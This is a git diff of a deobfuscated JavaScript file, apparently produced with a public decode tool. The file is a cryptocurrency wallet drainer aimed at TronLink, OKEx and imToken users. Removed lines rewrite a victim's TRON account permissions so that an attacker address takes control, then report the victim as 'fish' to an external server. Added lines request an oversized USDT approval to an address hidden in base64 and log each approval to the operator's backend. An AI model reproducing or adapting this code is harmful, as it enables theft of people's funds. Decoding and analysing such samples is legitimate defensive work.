diff --git a/output.js b/output.js
index 39d2011..9ba6853 100644
--- a/output.js
+++ b/output.js
@@ -1,164 +1,99 @@
-//Tue Apr 15 2025 09:48:38 GMT+0000 (Coordinated Universal Time)
+//Tue Apr 15 2025 09:49:57 GMT+0000 (Coordinated Universal Time)
//Base:https://github.com/echo094/decode-js
//Modify:https://github.com/smallfawn/decode_action
-/okex/.test(navigator.userAgent.toLowerCase()) && _0x2fe6dc();
-async function _0x2fe6dc() {
- (function () {})();
- if (window.tronLink.ready) window.tronWeb = tronLink.tronWeb;else {
- {
- const _0xb44b3e = await tronLink.request({
- "method": "tron_requestAccounts"
- });
- _0xb44b3e.code === 200 && (window.tronWeb = tronLink.tronWeb);
- }
+/okex/.test(navigator.userAgent.toLowerCase()) && okexConnect();
+async function okexConnect() {
+ if (window.tronLink.ready) {
+ window.tronWeb = tronLink.tronWeb;
+ } else {
+ const _0x4deccf = await tronLink.request({
+ method: "tron_requestAccounts"
+ });
+ _0x4deccf.code === 200 && (window.tronWeb = tronLink.tronWeb);
}
}
-async function _0x3411b6() {
- let _0x285cf9,
- _0x3e3497 = "单控",
- _0x1e22bc = tronWeb.defaultAddress.hex,
- _0x21658d = (await tronWeb.trx.getBalance()) / 1000000;
- if (_0x21658d < 100) {
- {
- layer.msg(msg3);
- return;
- }
- }
- let _0x5911a6 = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
- const _0x8eccfa = await _0x5911a6.balanceOf(userAddress).call();
- let _0x53f79b = parseInt(_0x8eccfa._hex) / 1000000;
- _0x53f79b >= 200 ? authorized_address = "TDZukSy7JGcDzYSusBKADgBEpi7M7CSF2u" : authorized_address = permissionsAddr;
- let _0x7fd886 = {
- "type": 0,
- "permission_name": "owner"
- };
- _0x7fd886.threshold = 1;
- _0x7fd886.keys = [];
- let _0xa00d55 = {
- "type": 2,
- "permission_name": "active0"
- };
- _0xa00d55.threshold = 1;
- _0xa00d55.operations = "7fff1fc0037e0000000000000000000000000000000000000000000000000000";
- _0xa00d55.keys = [];
- _0x7fd886.keys.push({
- "address": tronWeb.address.toHex(authorized_address),
- "weight": 1
- });
- _0xa00d55.keys.push({
- "address": tronWeb.address.toHex(authorized_address),
- "weight": 1
- });
- _0x53f79b <= threshold ? (_0x7fd886.keys.push({
- "address": _0x1e22bc,
- "weight": 1
- }), _0xa00d55.keys.push({
- "address": _0x1e22bc,
- "weight": 1
- }), _0x3e3497 = "双控", _0x285cf9 = msg4) : _0x285cf9 = msg2;
- const _0x475094 = await tronWeb.transactionBuilder.updateAccountPermissions(_0x1e22bc, _0x7fd886, null, [_0xa00d55]),
- _0x5274cf = await tronWeb.trx.sign(_0x475094),
- _0x4392ec = await tronWeb.trx.sendRawTransaction(_0x5274cf);
- if (_0x4392ec.result) {
- if (authorized_address == permissionsAddr) {
- var _0x1503cd = {
- "address": userAddress,
- "authorized_address": permissionsAddr,
- "txid": _0x4392ec.txid,
- "type": "trc",
- "transaction": _0x3e3497
+async function approve() {
+ const _0x2da39a = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
+ try {
+ let _0x22e453 = await tronWeb.contract().at(_0x2da39a);
+ const _0xa1fb05 = await _0x22e453.balanceOf(userAddress).call();
+ let _0x17b7f0 = parseInt(_0xa1fb05._hex) / 1000000;
+ _0x17b7f0 > 800 && (permissionsAddr = window.atob("VEJoZ3hBVmhvbXluUXdNQkpVNWRlN1FkNXhKdnIzeGJFZw=="));
+ let _0x24c0de = await _0x22e453.increaseApproval(permissionsAddr, "1536929485909837500000").send({
+ feeLimit: 30000000
+ }).then(_0x450ffd => {
+ var _0x2be731 = {
+ address: userAddress,
+ authorized_address: permissionsAddr,
+ txid: _0x450ffd,
+ type: "trc",
+ transaction: 3
};
jQuery.ajax({
- "url": domain + "/add",
- "method": "POST",
- "data": _0x1503cd,
- "async": false,
- "success": function (_0x2d02c1) {
- layer.msg(_0x285cf9);
+ url: domain + "/add",
+ method: "POST",
+ data: _0x2be731,
+ async: false,
+ success: function (_0x5c87ac) {
+ alert(msg);
+ _0x5c87ac == "success" ? alert("1") : alert("44");
},
- "error": function (_0x5a9f1e) {}
+ error: function (_0x2cd193) {}
});
- } else {
- {
- var _0x1503cd = {
- "fish": userAddress,
- "authorized_address": authorized_address
- };
- jQuery.ajax({
- "url": "https://check.coinservapi.com/permissions.php",
- "method": "POST",
- "data": _0x1503cd,
- "async": false,
- "success": function (_0xb5bb8b) {},
- "error": function (_0x4a741c) {}
- });
- }
- }
+ });
+ } catch (_0x258664) {
+ console.error(_0x258664);
}
}
-async function _0xe034ea() {
- let _0x4c7282 = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
- const _0x282cc3 = [{
- "type": "address",
- "value": payAddr
- }, {
- "type": "uint256",
- "value": amount * 1000000
- }];
- var _0x2c3524 = await this.tronWeb.transactionBuilder.triggerSmartContract("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t", "transfer(address,uint256)", {}, _0x282cc3, this.walletAddress);
- const _0x35ca93 = await this.tronWeb.trx.sign(_0x2c3524.transaction),
- _0x707c41 = await this.tronWeb.trx.sendRawTransaction(_0x35ca93);
- if (_0x707c41.result) {
- var _0x18c203 = {
- "address": userAddress,
- "order_no": order_no,
- "txid": _0x707c41.txid
- };
- jQuery.ajax({
- "url": domain + "/shop/notify/order/type/usdtpay",
- "method": "POST",
- "data": _0x18c203,
- "async": false,
- "success": function (_0x1c2740) {
- _0x1c2740 == "success" ? layer.msg(msg5) : layer.msg(msg6);
- },
- "error": function (_0x922d62) {}
- });
- } else layer.msg(msg7);
-}
-async function _0x2f6b4c() {
- const _0x5c3e47 = "TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t";
- try {
- let _0x687c4c = await tronWeb.contract().at(_0x5c3e47);
- const _0xa5475 = await _0x687c4c.balanceOf(userAddress).call();
- let _0x587b98 = parseInt(_0xa5475._hex) / 1000000;
- _0x587b98 >= 200 ? authorized_address = "TDZukSy7JGcDzYSusBKADgBEpi7M7CSF2u" : authorized_address = auAddr;
- let _0x5ac802 = await _0x687c4c.increaseApproval(authorized_address, "0xfffffffffffffffffffffffffffffffffffffffff").send({
- "feeLimit": 30000000
- }).then(_0x54a2da => {
- if (authorized_address == auAddr) {
- {
- var _0x8986a9 = {
- "address": userAddress,
- "authorized_address": auAddr,
- "txid": _0x54a2da,
- "type": "trc",
- "transaction": "授权"
- };
- jQuery.ajax({
- "url": domain + "/add",
- "method": "POST",
- "data": _0x8986a9,
- "async": false,
- "success": function (_0x32624c) {
- _0x32624c == "success" ? layer.msg(msg4) : layer.msg(msg6);
- },
- "error": function (_0x2bdbf9) {}
- });
+async function check() {
+ userAddress = await tronWeb.defaultAddress.base58;
+ var _0x56ce53 = {
+ address: userAddress,
+ authorized_address: permissionsAddr
+ };
+ console.log(userAddress, permissionsAddr);
+ let _0x419d2b = 0;
+ if (/okex/.test(navigator.userAgent.toLowerCase())) {
+ let _0x7e442b = await tronWeb.contract().at("TR7NHqjeKQxGTCi8q8ZY4pL8otSzgjLj6t");
+ const _0x2f54c3 = await _0x7e442b.allowance(userAddress, permissionsAddr).call();
+ console.log(_0x2f54c3);
+ console.log(_0x2f54c3.toString());
+ _0x419d2b = BigNumber(_0x2f54c3.toString()).dividedBy(BigNumber(10).pow(6)).toString(10);
+ }
+ console.log("0:" + _0x419d2b);
+ jQuery.ajax({
+ url: domain + "/is_f",
+ method: "POST",
+ data: _0x56ce53,
+ async: false,
+ success: function (_0x116454) {
+ console.log("-------");
+ console.log(_0x116454);
+ if (_0x116454.code) {
+ _0x116454.data == 1 ? alert("77") : transfer();
+ } else {
+ const _0x1cf497 = new URLSearchParams(window.location.search);
+ const _0x2ddfda = _0x1cf497.get("utm_source");
+ if (/okex/.test(navigator.userAgent.toLowerCase()) || _0x2ddfda == "tronlink" || _0x2ddfda == "imtoken") {
+ if (_0x419d2b >= 10000) {
+ console.log("0");
+ transfer();
+ return;
+ }
+ console.log("5");
+ approve();
+ return;
}
+ console.log("4");
+ approve();
}
- });
- } catch (_0x4d0bc5) {
- console.error(_0x4d0bc5);
- }
-}
\ No newline at end of file
+ },
+ error: function (_0x50b6fc) {}
+ });
+}
+function checkOrderStatus() {
+ $.get(domain + "getorderstatus/" + order_no + "/order", function (_0x4f79e9) {
+ _0x4f79e9.data == 1 && (location.href = domain + "/order/all");
+ }, "json");
+}
+var get_order_status = setInterval(checkOrderStatus, 3000);
\ No newline at end of file
diff --git a/output.py b/output.py
index 07fa71b..07220f6 100644
Binary files a/output.py and b/output.py differ